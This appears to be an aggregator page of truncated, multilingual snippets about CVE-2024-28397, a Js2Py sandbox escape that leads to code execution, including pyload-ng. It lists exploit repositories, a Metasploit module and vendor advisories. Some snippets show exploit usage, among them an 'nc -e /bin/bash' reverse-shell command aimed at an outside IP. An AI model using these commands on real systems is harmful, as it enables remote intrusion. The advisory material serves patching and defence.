CVE-2024-28397-Js2Py-RCE

CVE-2024-28397 - Js2Py 沙箱逃逸 Payload 生成器 该脚本用于生成 JavaScript Payload，可在存在漏洞、且 Python 内部实现通过对象包装器暴露的 Js2Py 环境中被求值执行。 使用方法 基本命令执行： root@kitploit: python3 cve-2024-28397.py -c "id" 生成紧凑的单行 Payload： root@kitploit: python3 cve-2024-28397.py -c "whoami" --compact 使用 Base64 的反弹 Shell 生成 Base64 Payload：...

js2py-Sandbox-Escape-CVE-2024-28397-RCE

CVE-2024-28397 Exploit di Escape della Sandbox js2py Una raccolta di script di exploit che mirano alla vulnerabilità di escape della sandbox js2py CVE-2024-28397 che consente l'esecuzione arbitraria di codice tramite introspezione di oggetti Python. 🔍 Panoramica della Vulnerabilità La libreria...

Remote-Code-Execution-CVE-2024-28397-pyload-ng-js2py-

रिमोट कोड एक्ज़ीक्यूशन – CVE-2024-28397 pyload-ng / js2py इस रिपॉज़िटरी में CVE-2024-28397 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट PoC एक्सप्लॉइट है, जो pyload-ng को प्रभावित करने वाली एक रिमोट कोड एक्ज़ीक्यूशन भेद्यता है, जो js2py के असुरक्षित उपयोग के कारण होती है। अस्वीकरण: यह PoC केवल शैक्षिक और शोध...

Js2Py 0.74 - RCE

Exploit Title: Js2Py 0.74 - RCE Date: 2026-02-03 Exploit Author: Ali Sünbül xeloxa Author Page: https://github.com/xeloxa Vendor Homepage: https://github.com/PiotrDabkowski/Js2Py Software Link: https://pypi.org/project/Js2Py/ Version: payload.js python3 exploit.py -c "nc -e /bin/bash 10.10.10.10...

📄 js2py 0.74 Automated Sandbox Escape / Code Execution

js2py version 0.74 automated sandbox escape and remote code execution exploit with a reverse shell. ============================================================================================================================================= | Title : js2py v0.74 Automated Sandbox Escape & Revers...

Exploit for CVE-2024-28397

🚨 Remote Code Execution – CVE-2024-28397 pyload-ng / js2py...

Linux Distros Unpatched Vulnerability : CVE-2024-28397

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An issue in the component js2py.disablepyimport of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call. CVE-2024-28397 Note that...

Exploit for CVE-2024-28397

CVE-2024-28397-command-execution-poc This vulnerability arises...

Pyload Remote Code Execution

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'rex/stopwatch' class MetasploitModule 'Pyload RCE CVE-2024-39205 with js2py sandbox escape CVE-2024-28397', 'Description' = %q CVE-2024-28397 is sandbox escape ...

Pyload Remote Code Execution Exploit

CVE-2024-28397 is a sandbox escape in js2py versions 0.74 and below. js2py is a popular python package that can evaluate javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference to a python object in the js2py environment enabling them to escape...

Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)

CVE-2024-28397 is sandbox escape in js2py use exploit/linux/http/pyload/js2pycve202439205 msf undefinedjs2pycve202439205 show actions ...actions... msf undefinedjs2pycve202439205 set ACTION msf undefinedjs2pycve202439205 show options ...show and set options... msf undefinedjs2pycve202439205 run...

GHSA-R9PP-R4XF-597R pyload-ng vulnerable to RCE with js2py sandbox escape

Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. Details js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the...

pyload-ng vulnerable to RCE with js2py sandbox escape

Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. Details js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the...

openSUSE Security Advisory (SUSE-SU-2024:2272-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Mageia: Security Advisory (MGASA-2024-0256)

The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

openSUSE 15 Security Update : python-Js2Py (SUSE-SU-2024:2272-1)

The remote openSUSE 15 host has a package installed that is affected by a vulnerability as referenced in the SUSE- SU-2024:2272-1 advisory. - CVE-2024-28397: Fixed a potential sandbox escape via untrusted JavaScript code bsc1226660. Tenable has extracted the preceding description block directly...

SUSE-SU-2024:2272-1 Security update for python-Js2Py

This update for python-Js2Py fixes the following issues: - CVE-2024-28397: Fixed a potential sandbox escape via untrusted JavaScript code bsc1226660...

Exploit for CVE-2024-28397

Perkenalan 中文 js2py is a popular python...

CVE-2024-28397

An issue in the component js2py.disablepyimport of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call...

CVE-2024-28397

An issue in the component js2py.disablepyimport of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call...